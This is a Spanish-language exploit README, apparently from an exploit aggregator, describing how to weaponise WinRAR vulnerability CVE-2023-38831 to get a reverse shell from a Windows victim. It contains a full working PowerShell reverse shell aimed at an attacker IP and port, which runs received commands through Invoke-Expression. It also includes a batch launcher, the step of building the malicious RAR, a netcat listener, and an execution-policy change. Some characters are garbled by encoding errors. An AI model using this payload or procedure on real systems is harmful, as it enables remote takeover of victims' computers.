## https://sploitus.com/exploit?id=F5CA5C1E-7DC0-5703-AFDD-DA2CBACCB6CC
# OBTENCI脫N DE REVERSE SHELL EXPLOTANDO LA VULNERABILIDAD CVE-2023-38831 DE WINRAR
En este repositorio vamos a explotar la vulnerabilidad CVE-2023-38831 de winrar de tal forma que podamos obtener una reverse shell desde la m谩quina v铆ctima Windows a la m谩quina atacante Kali Linux.
## PASOS PREVIOS
Descargamos el contenido de este repositorio:
A continuaci贸n, debemos de instalar las dependencias de Python necesarias para poder explotar esta vulnerabilidad con los siguientes comandos:
```
pip install rarce
```
## PREPARATIVOS
Vamos a ejecutar un c贸digo malicioso que nos proporcione una reverse shell, procedente de la web revshells.com (proporcionando la IP y puerto de atacante correspondiente):
https://www.revshells.com/
```
$LHOST = "192.168.0.36"; $LPORT = 443; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()
```
Este c贸digo de powershell lo guardamos en un fichero .ps1 (ser谩 ejecutado posteriormente):
Una vez obtenido el c贸digo en ps1 para obtener la reverse shell, creamos un fichero python que mediante el uso de la librer铆a os se encargue de ejecutar el fichero .ps1:
Despu茅s, creamos un .bat con el siguiente c贸digo:
```@echo off
rem Ruta al ejecutable de Python
set PYTHON_EXECUTABLE=python.exe
rem Ruta al script de Python que deseas ejecutar
set PYTHON_SCRIPT=pwned.py
rem Ejecutar el script de Python
%PYTHON_EXECUTABLE% %PYTHON_SCRIPT%
rem Pausa para que puedas ver la salida antes de que se cierre la ventana
pause
```
## EXPLOTACI脫N
En este punto debemos de crear el winrar malicioso:
Ejecutamos el archivo documento.pdf dentro del .rar:
Por 煤ltimo, si permanecemos en esucha con netcat desde una m谩quina atacante, habremos recibimos la reverse shell:
## SOLUCI脫N DE POSIBLES ERRORES:
En caso de no poder ejecutar comandos de powershell, es necesario habilitar la ejecuci贸n de scripts en nuestro sistema:
Lo habilitamos:
Y ejecutamos el siguiente comando:
```Set-ExecutionPolicy RemoteSigned -Scope CurrentUser```